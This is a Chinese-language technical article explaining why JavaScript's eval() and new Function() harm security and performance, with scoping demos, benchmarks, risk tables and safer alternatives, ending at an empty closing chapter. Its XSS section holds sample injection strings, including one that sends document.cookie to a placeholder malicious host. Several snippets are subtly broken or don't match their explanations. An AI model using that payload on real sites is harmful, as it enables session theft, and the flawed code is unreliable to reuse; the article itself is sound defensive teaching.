JavaScript 中的 eval 与 new Function()：为什么它们被视为性能与安全的杀手？

各位技术同仁，大家好！

非常荣幸今天能站在这里，与大家共同探讨一个在JavaScript世界中既强大又充满争议的话题：eval() 和 new Function()。它们犹如编程工具箱中的两把双刃剑，拥有瞬间执行动态代码的魔力，但也因此被冠以“性能与安全的杀手”之名。今天，我将以一名编程专家的视角，深入剖析它们的机制、危害以及在实际开发中我们应如何权衡和规避。

我希望通过今天的讲解，能够让大家对这两项特性有一个更深刻、更全面的理解，从而在未来的项目中做出更明智的技术决策。

---

第一章：引言 —— 动态代码执行的魅力与陷阱

在JavaScript的早期，对动态代码执行的需求催生了像 eval() 这样的特性。开发者可以传入一个字符串，然后JavaScript引擎会将其解析并执行，就像这段代码是程序的一部分一样。这在某些场景下看起来非常诱人：例如，根据用户输入动态生成计算逻辑，或者从服务器获取一段脚本并立即执行。

然而，随着Web应用复杂度的提升，以及对性能和安全要求的日益严格，这些曾被视为“方便”的特性，逐渐暴露出了其致命的弱点。它们不仅可能导致程序运行效率低下，更严重的是，它们为各种恶意攻击敞开了大门。

今天，我们将从以下几个核心维度来审视 eval() 和 new Function()：

1. 基本语法与工作原理：它们是如何被调用的，以及它们在幕后做了什么？
2. 安全性剖析：它们是如何成为安全漏洞的温床的？
3. 性能深度解析：它们为何会严重拖累应用的性能？
4. 作用域（Scope）差异：它们在代码执行时对变量环境的影响有何不同？
5. 替代方案与最佳实践：我们应该如何规避它们，并在需要动态性时采用更安全、高效的方法？

---

第二章：eval() —— 那个鲁莽的“通才”

我们首先聚焦于JavaScript中最古老、也是最臭名昭著的动态代码执行函数：eval()。

2.1 eval() 的基本语法与工作原理

eval() 函数会将传入的字符串当作JavaScript代码进行解析和执行。它的语法非常简单：

eval(string);

其中 string 就是你想要执行的JavaScript代码字符串。

示例代码：

// 示例 1: 基本使用
let x = 10;
let y = 20;
let expression = "x + y * 2";
let result = eval(expression);
console.log(`eval("x + y * 2") 结果: ${result}`); // 输出: 50 (10 + 20 * 2)

// 示例 2: 动态声明变量
eval("var dynamicVar = 'Hello from eval!';");
console.log(dynamicVar); // 输出: Hello from eval!

// 示例 3: 执行函数调用
function greet(name) {
    return `Hello, ${name}!`;
}
let funcCall = "greet('Alice')";
console.log(eval(funcCall)); // 输出: Hello, Alice!

从这些例子中，我们可以看到 eval() 的强大之处：它能够像当前作用域中的代码一样，访问并修改当前作用域的变量，甚至声明新的变量。

2.2 eval() 的作用域（Scope）特性：深入理解上下文绑定

这是理解 eval() 行为的关键点之一。eval() 在执行代码时，会使用调用它的当前词法作用域。这意味着它能够直接访问和修改其所在函数或全局作用域中的变量。

示例代码：

let globalVar = "我是全局变量";

function outerFunction() {
    let outerVar = "我是外部函数变量";

    function innerFunction() {
        let innerVar = "我是内部函数变量";

        console.log("----- 在 eval() 内部尝试访问变量 -----");
        eval(`
            console.log('在 eval 内部，访问 globalVar:', globalVar);
            console.log('在 eval 内部，访问 outerVar:', outerVar);
            console.log('在 eval 内部，访问 innerVar:', innerVar);

            // 尝试修改变量
            globalVar = '全局变量被 eval 修改了';
            outerVar = '外部函数变量被 eval 修改了';
            innerVar = '内部函数变量被 eval 修改了';

            // 声明新变量
            var evalNewVar = '我是 eval 新声明的变量';
            console.log('在 eval 内部，声明了 evalNewVar:', evalNewVar);
        `);
        console.log("----- eval() 执行完毕 -----");

        console.log('在 innerFunction 内部，globalVar:', globalVar);
        console.log('在 innerFunction 内部，outerVar:', outerVar);
        console.log('在 innerFunction 内部，innerVar:', innerVar);

        // 尝试访问 evalNewVar
        console.log('在 innerFunction 内部，evalNewVar:', 
                    typeof evalNewVar !== 'undefined' ? evalNewVar : 'evalNewVar 未定义');
    }
    innerFunction();
    console.log('在 outerFunction 内部，outerVar:', outerVar); // outerVar 已经被修改
    // console.log(evalNewVar); // 这里会报错：evalNewVar is not defined，因为它只在 eval 的作用域内（如果 eval 在函数内，且用 var 声明）
}

outerFunction();
console.log('在全局作用域，globalVar:', globalVar); // globalVar 已经被修改

分析：

• eval() 能够无障碍地访问 globalVar、outerVar 和 innerVar，并且直接修改了它们的值。
• 使用 var 在 eval() 内部声明的变量，其作用域取决于 eval() 的调用位置：
  • 如果在全局作用域中调用 eval()，var 声明的变量会成为全局变量。
  • 如果在函数作用域中调用 eval()，var 声明的变量会成为该函数作用域的局部变量。
• 使用 let 或 const 在 eval() 内部声明的变量，则会仅限于 eval() 自身的脚本作用域，不会污染外部作用域。但通常我们讨论 eval 的作用域问题时，更多关注其对外部 var 变量的影响。

这种深度耦合是 eval() 成为“安全杀手”和“性能杀手”的根本原因之一。

2.3 eval() 的安全漏洞：任意代码执行的潘多拉魔盒

eval() 最危险的地方在于它能够执行任意传入的字符串。如果这个字符串来自不可信的源（例如用户输入、未经校验的网络请求），那么攻击者就有可能注入恶意代码，从而对应用程序和用户造成严重损害。

安全风险类型：

1. 跨站脚本攻击（XSS）：
   如果网站将用户输入直接渲染到页面上，并且使用了 eval() 来处理这些输入，攻击者就可以注入包含恶意JavaScript代码的字符串。
   攻击示例：
   假设你有一个搜索功能，并试图用 eval 来高亮搜索结果：

   // 假设这是服务器返回的或用户输入的搜索词
   let searchTerm = document.getElementById('searchBox').value; 
   // 攻击者输入： "'); alert('XSS Attack!'); var x=('"
   // 或者更复杂的： "); fetch('https://malicious.com/steal?cookie=' + document.cookie); var x=("
   
   // 假设你的代码是这样处理的（这是一个极度危险的反模式！）
   let data = {
       name: "产品A",
       description: "这是关于产品A的描述。"
   };
   
   // 假设你有一个模板字符串，试图动态替换内容，但却使用了 eval
   let template = `
       <div class="product">
           <h2>${data.name}</h2>
           <p>${data.description}</p>
           <script>
               // 这里是恶意代码的注入点
               var searchHighlight = '${searchTerm}'; // 问题就出在这里！
               // eval('highlight(searchHighlight)'); // 恶意代码在这里被执行
               console.log('尝试模拟 eval 执行:', searchHighlight); // 模拟输出
           </script>
       </div>
   `;
   
   // 实际场景中，template 会被插入到 DOM 中
   // document.getElementById('app').innerHTML = template; 
   console.log("生成的模板内容 (包含潜在的 XSS):", template);
   // 如果 searchTerm 是 "); alert('XSS Attack!'); //"，那么生成的 script 标签会变成：
   // <script> var searchHighlight = ''; alert('XSS Attack!'); //'; //;</script>
   // 导致 alert 执行

   一旦攻击者成功注入恶意代码，他们可以：

   • 窃取用户的会话Cookie，冒充用户身份。
   • 重定向用户到恶意网站。
   • 修改网页内容，进行网络钓鱼。
   • 在用户浏览器中执行其他恶意操作。

2. 代码注入攻击（Code Injection）：
   不仅仅是XSS，任何将不可信输入直接传递给 eval() 的场景都可能导致代码注入。例如，如果你的后端API返回的数据中包含一段JavaScript代码，并且前端直接 eval() 了它，那么后端就拥有了在用户浏览器中执行任意代码的能力。

   // 假设从服务器获取了一段配置
   // 攻击者可以控制服务器返回：
   // let configFromServer = "{ initialMessage: 'Welcome', setup: 'console.log(\'User ID:\', userId); alert(\'Malicious code executed!\');' }";
   let configFromServer = "{ initialMessage: 'Welcome', setup: 'console.log(\'Application started.\');' }";
   
   // 错误的用法：直接 eval 整个 JSON 字符串或其中的某个字段
   let appConfig = eval(`(${configFromServer})`); // 如果 configFromServer 是一个完整的 JS 表达式，这里会执行
   // 更好的做法是：JSON.parse(configFromServer)
   
   console.log(appConfig.initialMessage);
   // 再次错误的用法：直接 eval config 中的函数字符串
   eval(appConfig.setup); // 这里会执行 appConfig.setup 中的代码

   这种情况下，即使没有XSS，如果服务器被攻陷或配置被篡改，也能在客户端执行恶意代码。

3. 权限提升/沙箱逃逸：
   在某些受限环境中（如Node.js的VM模块或浏览器的iframe沙箱），如果 eval() 被不当使用，可能会绕过沙箱限制，访问或修改不应被访问的资源。虽然在浏览器环境中直接导致权限提升的案例相对较少，但其对全局或当前作用域的污染能力，足以破坏许多安全隔离措施。

安全表格总结：

安全风险类型	描述	eval() 的角色	影响	规避方法
跨站脚本攻击 (XSS)	攻击者向网页注入恶意客户端脚本，当用户访问时，脚本在用户浏览器中执行。	直接执行用户输入的恶意脚本，无需额外操作。	窃取用户Cookie、会话劫持、网页篡改、重定向、恶意请求。	绝不将不可信的用户输入传递给 eval()。对所有用户输入进行严格的净化和编码。
代码注入攻击	攻击者通过输入数据修改程序的执行路径，执行任意代码。	允许攻击者通过数据修改程序逻辑或执行任意命令。	数据库破坏、系统控制、数据泄露、服务中断。	绝不将不可信的外部数据（包括来自服务器的）传递给 eval()。使用 JSON.parse() 解析数据。
权限提升/沙箱逃逸	在受限环境中，攻击者获得超出其应有权限的访问级别。	可能绕过某些沙箱机制，访问或修改外部作用域的变量和函数。	访问敏感信息、执行受限操作、破坏系统完整性。	避免在沙箱环境中使用 eval()。严格控制沙箱的上下文和可访问资源。
拒绝服务 (DoS)	攻击者通过消耗系统资源，使服务对合法用户不可用。	执行计算密集型或无限循环的恶意代码，导致浏览器崩溃或卡死。	浏览器无响应、页面崩溃、用户体验受损。	同上，避免执行不可信代码。

2.4 eval() 的性能黑洞：JIT 优化的噩梦

除了安全问题，eval() 对性能的影响也是灾难性的。JavaScript引擎（如V8、SpiderMonkey）为了提高代码执行效率，普遍采用了即时编译（Just-In-Time Compilation, JIT）技术。JIT编译器会在运行时分析代码，识别出“热点”代码（频繁执行的代码），并将其编译成高效的机器码。

然而，eval() 的存在严重阻碍了JIT编译器的优化。

性能影响原因：

1. 动态作用域查找：
   正如我们之前看到的，eval() 可以在其运行时环境中访问和修改任何变量。这意味着JIT编译器在编译包含 eval() 的函数时，无法确定该函数内部的变量是否会被 eval() 字符串中的代码修改。为了保证正确性，JIT编译器不得不采取最保守的策略，即不进行深度优化，甚至放弃对该函数及其调用栈的优化。这被称为“优化屏障”或“去优化（deoptimization）”。

   function calculateHeavy(a, b) {
       let result = a + b;
       // 假设这里有一个复杂的计算
       for (let i = 0; i < 1000000; i++) {
           result += Math.sqrt(a * b + i);
       }
       return result;
   }
   
   function processDataWithEval(data) {
       // JIT 编译器在优化 calculateHeavy 时，会遇到 eval
       // 它无法确定 eval 内部是否会修改 calculateHeavy 的参数或外部变量
       // 因此，JIT 可能会选择不优化 calculateHeavy 或在遇到 eval 时去优化整个函数栈
       let x = 10;
       eval("x = data.value;"); // 假设 data.value 来自外部，可能会修改 x
       return calculateHeavy(x, 20);
   }
   
   // 另一个更直接的例子：
   let globalVarForEval = 100;
   function optimizedFunction() {
       let localVar = 50;
       // JIT 无法知道 eval 会不会修改 localVar 甚至 globalVarForEval
       // 这使得整个函数难以被优化
       eval("localVar += 10; globalVarForEval = 200;"); 
       return localVar + globalVarForEval;
   }
   // optimizedFunction() 的每次调用都可能被去优化，因为它依赖于 eval 的不确定性

   当JIT编译器遇到这种不确定性时，它可能会将已编译为机器码的代码回退到解释器模式执行，或者生成非常通用的、低效的机器码，从而导致性能急剧下降。

2. 运行时解析与编译开销：
   eval() 每次执行时，都需要将传入的字符串当作新的JavaScript代码进行解析、词法分析、语法分析、生成抽象语法树（AST），然后再进行编译。这是一个非常耗时的过程。对于静态代码，这些步骤只在程序加载时执行一次。而 eval() 每次执行都是全新的过程，没有缓存机制。

3. 内存占用增加：
   每次 eval() 都会创建新的执行上下文和潜在的AST结构，这会增加内存的消耗。

性能测量示例：

console.log("--- eval() 性能测试 ---");

function runStaticCode() {
    let a = 1;
    let b = 2;
    let c = a + b * 2;
    return c;
}

function runEvalCode() {
    let a = 1;
    let b = 2;
    // 每次执行 eval 都会重新解析和编译
    let c = eval("a + b * 2"); 
    return c;
}

const iterations = 100000;

console.time("Static Code Execution");
for (let i = 0; i < iterations; i++) {
    runStaticCode();
}
console.timeEnd("Static Code Execution");

console.time("Eval Code Execution");
for (let i = 0; i < iterations; i++) {
    runEvalCode();
}
console.timeEnd("Eval Code Execution");

/*
// 示例输出 (具体数值取决于环境，但 eval 会明显慢很多)
--- eval() 性能测试 ---
Static Code Execution: 0.852ms
Eval Code Execution: 125.678ms
*/

从这个简单的测试中，我们可以清晰地看到 eval() 带来的巨大性能开销。在实际大型应用中，这种开销会迅速累积，导致用户界面卡顿、响应迟缓。

2.5 eval() 在严格模式下的行为

在JavaScript的严格模式（'use strict';）下，eval() 的行为会受到一些限制：

• 在严格模式下，eval() 内部使用 var 声明的变量不会泄漏到外层作用域，它们会局限于 eval() 自身的作用域。这在一定程度上减少了作用域污染，但安全性问题依然存在。
• 不允许在 eval 内部声明函数或变量名为 eval。

'use strict';

let strictVar = "我是一个严格模式变量";

function strictScopeFunc() {
    let funcVar = "函数内部变量";

    eval(`
        console.log('在严格模式 eval 内部，访问 strictVar:', strictVar); // 仍然可以访问外部变量
        console.log('在严格模式 eval 内部，访问 funcVar:', funcVar);   // 仍然可以访问外部变量

        var evalStrictVar = 'eval 内部声明的变量'; // 在严格模式下，这个变量不会污染外部
        console.log('在严格模式 eval 内部，声明了 evalStrictVar:', evalStrictVar);
    `);

    // console.log(evalStrictVar); // 这里会报错：evalStrictVar is not defined
}

strictScopeFunc();

尽管严格模式对 eval() 有所限制，但它并未根本解决 eval() 的安全和性能问题。它依然是执行任意代码的入口，依然会阻碍JIT优化。

---

第三章：new Function() —— 那个有纪律的“专家”

接下来，我们来看看 new Function()。它与 eval() 类似，也能够执行字符串形式的代码，但在作用域和一些行为上有着本质的区别。

3.1 new Function() 的基本语法与工作原理

new Function() 构造函数允许你创建一个新的函数对象。它的语法如下：

new Function([arg1, arg2, ...argN], functionBody);

• arg1, arg2, ...argN：是字符串形式的参数名。
• functionBody：是字符串形式的函数体代码。

示例代码：

// 示例 1: 创建一个简单的加法函数
const add = new Function('a', 'b', 'return a + b;');
console.log(`new Function('a', 'b', 'return a + b;')(5, 3) 结果: ${add(5, 3)}`); // 输出: 8

// 示例 2: 创建一个不带参数的函数
const greeting = new Function('console.log("Hello from new Function!");');
greeting(); // 输出: Hello from new Function!

// 示例 3: 更复杂的函数体
const multiplyByFactor = new Function('num', 'factor', `
    let result = num * factor;
    return 'Result: ' + result;
`);
console.log(multiplyByFactor(10, 4)); // 输出: Result: 40

3.2 new Function() 的作用域（Scope）特性：隔离的执行环境

这是 new Function() 与 eval() 最核心的区别。new Function() 创建的函数，其执行作用域始终是全局作用域。它不会像 eval() 那样捕获其创建时的局部作用域。这意味着它无法直接访问其创建时的局部变量，除非这些变量是全局变量，或者通过参数显式传递给它。

示例代码：

let globalVar = "我是全局变量";

function outerFunction() {
    let outerVar = "我是外部函数变量"; // 这个变量 new Function 无法直接访问

    const myDynamicFunction = new Function('param', `
        console.log('在 new Function 内部，访问 globalVar:', globalVar); // 可以访问全局变量
        // console.log('在 new Function 内部，访问 outerVar:', outerVar); // 尝试访问会报错或返回 undefined
        console.log('在 new Function 内部，访问 param:', param);

        // 尝试修改全局变量
        globalVar = '全局变量被 new Function 修改了';

        // 声明新变量
        var newFuncVar = '我是 new Function 新声明的变量';
        console.log('在 new Function 内部，声明了 newFuncVar:', newFuncVar);

        return newFuncVar;
    `);

    console.log("----- new Function() 执行前 -----");
    console.log('在 outerFunction 内部，outerVar:', outerVar);
    console.log('在 outerFunction 内部，globalVar:', globalVar);

    const result = myDynamicFunction('Hello Parameter'); // 调用动态生成的函数

    console.log("----- new Function() 执行完毕 -----");
    console.log('在 outerFunction 内部，outerVar:', outerVar); // outerVar 未被修改
    console.log('在 outerFunction 内部，globalVar:', globalVar); // globalVar 被修改
    // console.log(newFuncVar); // 报错：newFuncVar is not defined，因为它只在 myDynamicFunction 内部

    // 证明无法访问 outerVar
    try {
        new Function(`console.log(outerVar);`)();
    } catch (e) {
        console.error("尝试在 new Function 中访问 outerVar 报错:", e.message); // 预期报错
    }
}

outerFunction();
console.log('在全局作用域，globalVar:', globalVar); // globalVar 已经被修改

分析：

• new Function() 创建的函数只能访问全局变量和通过参数传入的变量。它不会形成闭包来捕获其创建时的局部作用域。
• 在 new Function() 内部声明的变量（无论是 var, let, const）都局限于该函数自身的函数作用域，不会污染外部作用域。

这种作用域隔离特性，使得 new Function() 在安全性上比 eval() 略好一些，因为它不会随意修改其所在函数作用域的变量。然而，它仍然可以访问和修改全局变量，这本身就是一个巨大的安全隐患。

3.3 new Function() 的安全漏洞：依然是任意代码执行

尽管 new Function() 有作用域隔离的优势，但它本质上仍然是执行字符串形式的代码。这意味着，如果传入的 functionBody 或 argN 字符串来自不可信的源，它同样会带来严重的安全风险。

安全风险：

1. XSS 和代码注入：
   与 eval() 类似，如果攻击者能够控制 new Function() 的输入字符串，他们仍然可以注入恶意代码，这些代码会在全局作用域中执行。
   例如，如果一个模板引擎使用 new Function() 来编译用户提供的模板表达式：

   // 假设用户输入：`); alert('XSS!'); (`
   let userExpression = "param + 10"; 
   // 攻击者输入： "); alert('XSS!'); (`
   
   // 错误的用法：将用户输入直接作为函数体
   try {
       const calculate = new Function('param', `return ${userExpression};`);
       console.log(calculate(5));
   } catch (e) {
       console.error("由于恶意输入导致的错误:", e.message);
   }
   // 如果 userExpression 是 "); alert('XSS!'); (`，那么函数体就变成了：
   // return "); alert('XSS!'); (` + 10;
   // 这会导致 alert('XSS!') 执行。

   恶意代码虽然不能直接访问 new Function() 创建时的局部变量，但它仍然可以在全局作用域中执行任意操作，包括窃取Cookie、发送恶意请求、修改DOM等。

2. 访问和修改全局对象：
   由于 new Function() 的执行上下文是全局作用域，它可以访问 window (浏览器) 或 global (Node.js) 对象上的任何属性和方法。这意味着攻击者可以：

   • 修改全局变量或内置函数。
   • 通过 document 对象操纵DOM。
   • 通过 fetch 或 XMLHttpRequest 发送网络请求。
   • 访问存储在全局对象上的敏感信息。

安全表格总结：

安全风险类型	描述	new Function() 的角色	影响	规避方法
跨站脚本攻击 (XSS)	攻击者向网页注入恶意客户端脚本，当用户访问时，脚本在用户浏览器中执行。	直接执行用户输入的恶意脚本，尽管在全局作用域，但仍可操作DOM和全局对象。	窃取用户Cookie、会话劫持、网页篡改、重定向、恶意请求。	绝不将不可信的用户输入传递给 new Function() 的参数或函数体。对所有用户输入进行严格的净化和编码。
代码注入攻击	攻击者通过输入数据修改程序的执行路径，执行任意代码。	允许攻击者通过数据修改程序逻辑或执行任意命令，影响全局对象。	访问敏感信息、执行受限操作、破坏系统完整性。	绝不将不可信的外部数据传递给 new Function()。使用 JSON.parse() 解析数据。
拒绝服务 (DoS)	攻击者通过消耗系统资源，使服务对合法用户不可用。	执行计算密集型或无限循环的恶意代码，导致浏览器崩溃或卡死。	浏览器无响应、页面崩溃、用户体验受损。	同上，避免执行不可信代码。

3.4 new Function() 的性能考量：优化挑战犹存

new Function() 在性能上比 eval() 稍好，但它仍然存在显著的性能开销，并且在某些方面仍然会阻碍JIT优化。

性能影响原因：

1. 运行时解析与编译开销：
   与 eval() 类似，new Function() 每次被调用时，也需要将字符串形式的函数体进行解析、词法分析、语法分析、生成AST，并最终编译成可执行代码。这个过程同样耗时，没有自动缓存。

2. JIT 编译器的限制：
   虽然 new Function() 的作用域是全局的，不像 eval() 那样动态且难以预测，但这并不意味着JIT编译器可以完全优化它。每次 new Function() 都创建一个新的函数对象，即使函数体字符串相同，它们也被视为不同的函数。JIT编译器需要为每个新创建的函数对象进行独立的分析和可能的优化。
   此外，如果 new Function() 被频繁调用以创建大量不同的函数，JIT编译器会花费大量时间在这些一次性的编译工作上，而无法将精力集中在重复执行的“热点”代码上。

何时可能“相对不那么糟糕”？

在某些非常特定的场景下，如果需要动态生成大量相同结构但参数不同的函数，并且这些函数体的字符串是预先定义且信任的，new Function() 可能比手动编写大量重复函数或使用 eval() 具有一定的优势。但这种情况非常罕见，且通常有更好的替代方案（如函数工厂）。

性能测量示例：

console.log("--- new Function() 性能测试 ---");

function runStaticCodeFixed() {
    let a = 1;
    let b = 2;
    let c = a + b * 2;
    return c;
}

// 提前创建好 Function 对象
const runNewFuncCodeFixed = new Function('a', 'b', 'return a + b * 2;');

const iterations = 100000;

console.time("Static Code Execution (Fixed)");
for (let i = 0; i < iterations; i++) {
    runStaticCodeFixed();
}
console.timeEnd("Static Code Execution (Fixed)");

console.time("New Function Code Execution (Fixed)");
for (let i = 0; i < iterations; i++) {
    runNewFuncCodeFixed(1, 2); // 传入参数执行
}
console.timeEnd("New Function Code Execution (Fixed)");

// 每次循环都创建新的 Function 对象 (模拟不良实践)
console.time("New Function Code Execution (Per Iteration)");
for (let i = 0; i < iterations; i++) {
    const tempFunc = new Function('a', 'b', 'return a + b * 2;');
    tempFunc(1, 2);
}
console.timeEnd("New Function Code Execution (Per Iteration)");

/*
// 示例输出 (具体数值取决于环境)
--- new Function() 性能测试 ---
Static Code Execution (Fixed): 0.621ms
New Function Code Execution (Fixed): 1.583ms  // 比 static 慢，但比 eval 好很多
New Function Code Execution (Per Iteration): 115.345ms // 每次创建开销巨大
*/

从测试结果可以看出，即使 new Function() 在创建后被多次调用，其执行效率也低于静态代码。更糟糕的是，如果每次需要动态函数时都 new Function()，其性能将与 eval() 同样低劣，甚至因为函数创建的额外开销而更差。

---

第四章：eval() 与 new Function() 的核心差异对比

为了更清晰地理解两者，我们用表格进行一个全面的对比：

特性	eval(string)	new Function([arg1, ...], functionBody)
执行上下文	当前词法作用域 (调用 eval 的函数或全局作用域)	全局作用域 (不捕获创建时的局部作用域，类似全局脚本)
变量访问	可以直接访问和修改其所在作用域的所有变量。	只能访问全局变量和通过参数显式传入的变量，无法访问创建时的局部变量。
变量声明	var 声明的变量会污染所在作用域；let/const 局限于 eval 内部。	var/let/const 声明的变量都局限于函数内部作用域，不污染外部。
安全性	极低。直接执行任意代码，易受XSS和代码注入攻击，可修改局部和全局变量。	较低。仍可执行任意代码，易受XSS和代码注入攻击，但由于作用域隔离，无法直接修改创建时的局部变量，只能修改全局变量。
性能	极差。每次执行都需解析编译，严重阻碍JIT优化，导致去优化。	较差。每次创建函数都需要解析编译；如果频繁创建，性能开销巨大。已创建的函数执行时比 eval 稍好，但仍逊于静态代码。
JIT 优化	强烈的优化屏障，导致去优化。	每次创建新的函数对象，每次都需要单独编译优化；但已创建的函数本身可能被JIT优化（如果执行次数足够多）。
常见用途	无推荐用途。通常用于调试或遗留代码，应极力避免。	少数场景下用于动态生成函数，如数学表达式解析、模板引擎（但通常有更安全高效的替代方案）。

---

第五章：为什么要避免它们？—— 性能与安全的双重杀手

现在，我们可以更明确地回答最初的问题：为什么 eval() 和 new Function() 被视为性能与安全的杀手？

5.1 安全性：无法承受之重

它们是注入攻击的温床。 无论是用户输入、第三方API响应、甚至是配置文件，只要其中包含了恶意代码，并通过 eval() 或 new Function() 执行，攻击者就能完全控制用户的浏览器。这不仅仅是数据泄露，更可能导致整个用户体验的劫持，对企业信誉造成毁灭性打击。

它们打破了代码隔离。 eval() 能够修改调用它的作用域中的任何变量，这使得代码的预测性变得极差，增加了潜在的副作用和安全漏洞。即使 new Function() 有所隔离，它也无法阻止对全局对象的恶意操作。

它们使得安全审计异常困难。 一旦代码中存在 eval() 或 new Function()，安全审计人员就很难追踪到所有可能的输入源，以及这些输入可能造成的潜在危害。这使得构建一个“坚不可摧”的应用变得几乎不可能。

5.2 性能：难以弥补的短板

JIT优化的死敌。 现代JavaScript引擎的性能基石是JIT编译器。eval() 和频繁的 new Function() 创建，就像是JIT编译器前进道路上的巨石，迫使其停下脚步，回退到低效的解释执行模式。这直接导致了代码运行速度的急剧下降。

重复的编译开销。 每次执行动态代码，引擎都需要从头开始解析、编译。这就像每次需要开车都先从零开始组装汽车，而不是直接驾驶已经制造好的车辆。对于高频操作，这种开销是无法接受的。

内存浪费。 动态生成的代码结构需要额外的内存来存储，如果大量使用，将导致内存占用激增，甚至引发内存泄漏。

---

第六章：替代方案与最佳实践 —— 如何安全高效地实现动态性

既然 eval() 和 new Function() 如此危险且低效，那么当我们需要动态行为时，应该如何处理呢？幸运的是，JavaScript生态系统提供了许多更安全、更高效的替代方案。

6.1 数据驱动的配置与逻辑

大多数情况下，我们所谓的“动态代码”实际上只是动态数据或动态逻辑选择。

示例：动态计算或操作

假设你需要根据一个字符串运算符执行不同的数学运算：

// 糟糕的 eval 方式
function calculateEvil(a, b, operator) {
    return eval(`${a} ${operator} ${b}`);
}
// console.log(calculateEvil(10, 5, '+')); // 15
// console.log(calculateEvil(10, 5, '* alert("XSS!") + ')); // XSS!

// 推荐的替代方案：使用对象映射或 switch 语句
function calculateSafe(a, b, operator) {
    const operations = {
        '+': (x, y) => x + y,
        '-': (x, y) => x - y,
        '*': (x, y) => x * y,
        '/': (x, y) => {
            if (y === 0) throw new Error("Division by zero");
            return x / y;
        }
    };

    if (operations[operator]) {
        return operations[operator](a, b);
    } else {
        throw new Error(`Invalid operator: ${operator}`);
    }
}
console.log(`安全计算 10 + 5: ${calculateSafe(10, 5, '+')}`); // 15
// console.log(calculateSafe(10, 5, '* alert("XSS!") + ')); // 抛出错误：Invalid operator

这种方式将动态选择转换为了对预定义函数的查找，既安全又高效。

6.2 JSON.parse() —— 安全的数据交换格式

如果你需要从字符串中获取数据，而不是代码，那么 JSON.parse() 是你的首选。它只会解析JSON格式的数据，不会执行任何JavaScript代码。

// 糟糕的 eval 方式来解析数据
let jsonStringEvil = "{ "name": "Alice", "age": 30, "action": "alert('XSS!')" }";
// let dataEvil = eval('(' + jsonStringEvil + ')'); // 危险！
// console.log(dataEvil.action); // 如果 eval 了，这里可能会执行 alert

// 推荐的 JSON.parse 方式
let jsonStringSafe = "{ "name": "Bob", "age": 25, "action": "log user data" }";
try {
    let dataSafe = JSON.parse(jsonStringSafe);
    console.log(`安全解析的数据: ${dataSafe.name}, ${dataSafe.age}`);
    // 如果 action 字段包含代码，它也只是一个字符串，不会被执行
    console.log(`数据中的 action 字段: ${dataSafe.action}`);
} catch (e) {
    console.error("JSON 解析错误:", e.message);
}

6.3 函数工厂与高阶函数

当需要生成具有类似行为但稍有差异的函数时，可以使用函数工厂或高阶函数。

// 动态创建一个乘法函数
function createMultiplier(factor) {
    return function(number) {
        return number * factor;
    };
}

const multiplyByTwo = createMultiplier(2);
const multiplyByTen = createMultiplier(10);

console.log(`乘2结果: ${multiplyByTwo(5)}`);   // 10
console.log(`乘10结果: ${multiplyByTen(5)}`); // 50

这种方式在编译时就确定了函数结构，运行时只执行预编译好的代码，性能极佳。

6.4 模板引擎（Template Engines）

对于需要动态生成HTML或其他文本内容的场景，使用成熟的模板引擎（如Handlebars, Nunjucks, EJS, Vue/React的模板编译）是最佳实践。这些引擎通常会：

1. 将模板字符串解析成抽象语法树（AST）。
2. 将AST编译成安全的JavaScript函数。
3. 在运行时执行这些编译后的函数，将数据填充到模板中。

这个编译过程通常发生在开发阶段或首次加载时，并且会对任何潜在的XSS攻击进行转义处理。

// 假设这是简化的模板引擎逻辑（实际引擎更复杂，且会进行安全转义）
function compileTemplate(templateString) {
    // 这是一个非常简化的模拟，实际引擎会做AST解析和转义
    return new Function('data', `
        let output = '';
        with (data) { // with 语句在严格模式下禁用，且本身不推荐，这里仅为演示模板引擎的上下文
            output += `${templateString}`;
        }
        return output;
    `);
}

// 用户输入可能包含恶意内容
let userName = "John Doe<script>alert('XSS!');</script>";
let userAge = 30;

let userTemplate = `
    <p>Name: ${userName}</p>
    <p>Age: ${userAge}</p>
`;

const renderUser = compileTemplate(userTemplate);
// 实际模板引擎会在这里对 ${userName} 进行安全转义，输出 &lt;script&gt;alert('XSS!');&lt;/script&gt;
// 如果不转义，这里就会存在 XSS 风险，即使是 new Function 也无法阻止。
console.log("渲染的用户模板 (未转义风险):");
console.log(renderUser({ userName: userName, userAge: userAge }));

/*
// 实际模板引擎的输出可能类似：
<p>Name: John Doe&lt;script&gt;alert('XSS!');&lt;/script&gt;</p>
<p>Age: 30</p>
*/

6.5 WebAssembly (Wasm)

对于需要极致性能的计算密集型任务，或者需要在一个严格沙箱中执行复杂逻辑的场景，WebAssembly 是一个强大的选择。Wasm 是一种低级的类汇编语言，可以在浏览器中以接近原生的速度运行，并且具有严格的沙箱机制，比JavaScript的 eval 和 new Function 安全得多。

6.6 内容安全策略 (Content Security Policy, CSP)

CSP 是一种重要的浏览器安全机制，可以帮助缓解XSS攻击。通过HTTP响应头或 <meta> 标签配置CSP，你可以指定哪些源的脚本可以执行，哪些连接可以建立等等。

CSP 指令与 eval / new Function：

• script-src 'self': 只允许加载同源脚本。
• script-src 'unsafe-inline': 允许行内脚本，但依然不安全。
• script-src 'unsafe-eval': 允许 eval() 和 new Function() 等动态代码执行。
  • 警告： 启用 'unsafe-eval' 会大大削弱CSP对XSS的防御能力。在可能的情况下，应极力避免使用此指令。

如果你的应用必须使用 eval() 或 new Function()，并且你已经彻底审计并信任了所有输入来源，那么你可能需要 unsafe-eval。但即便如此，这也不是一个理想的状态，因为它为未来的潜在漏洞留下了后门。

6.7 输入验证与净化

无论使用何种技术，对所有来自外部的输入进行严格的验证（检查数据格式、类型、范围等）和净化（移除或转义潜在的恶意字符）始终是至关重要的安全措施。这是防御XSS和代码注入的第一道防线。

验证： 确保输入符合预期的数据结构和值范围。
净化： 对于文本内容，将 < > & " ' / 等字符转义为HTML实体，防止浏览器将其解析为标签或属性。

总结替代方案：

场景	推荐替代方案	优势
动态逻辑选择	数据驱动配置 (对象映射、switch语句)、函数工厂、高阶函数	安全（无代码执行风险）、高性能（JIT优化）、代码可读性高、易于维护。
动态数据解析	JSON.parse()	安全（只解析数据，不执行代码）、高效、标准。
动态HTML/文本生成	成熟的模板引擎 (Handlebars, Vue/React)	安全（内置XSS防护）、高效（预编译）、结构清晰、易于维护。
复杂表达式解析	自定义解析器 (AST)、第三方数学表达式库	安全（可严格控制解析规则）、可扩展性强、性能可控。
高性能/沙箱计算	WebAssembly (Wasm)	接近原生性能、严格沙箱隔离、语言选择更广。
安全策略	内容安全策略 (CSP)、严格的输入验证与净化	CSP 提供浏览器层面的防御、输入验证是第一道防线。

---

第七章：思考与展望 —— 权衡与未来

